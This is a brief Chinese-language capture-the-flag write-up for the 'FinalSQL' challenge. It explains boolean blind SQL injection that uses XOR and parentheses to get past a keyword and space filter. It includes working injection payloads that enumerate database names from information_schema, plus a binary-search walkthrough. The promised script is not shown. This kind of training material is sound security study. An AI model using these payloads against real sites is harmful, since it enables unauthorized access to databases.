github编辑

[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL

考点

  • SQL盲注

  • bypass空格

wp

题目提示SQL盲注,过滤了很多关键词

if mid like limit union and | & *  /**/ 空格

输入 id=1^0 返回正确 语句如下: 0^(ascii(substr((select(database())),1,1))>102) ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>mid 若SQL语句为真则返回正常,为假则返回ERROR

select(group_concat(schema_name))from(information_schema.schemata)

二分法

假设第一个字符的ASCII码为96

low  high  mid
32   126   81
返回正常则为真,第一个字符的ASCII码大于81
82   126   104
返回ERROR则为假,第一个字符的ASCII码小于等于104
82   104   93
返回正常则为真,第一个字符的ASCII码大于93
94   104   99
返回ERROR则为假,第一个字符的ASCII码小于等于99
94   99    96
返回ERROR则为假,第一个字符的ASCII码小于等于96
94   96    95
返回正常则为真,第一个字符的ASCII码大于95
96   96

脚本如下

最后更新于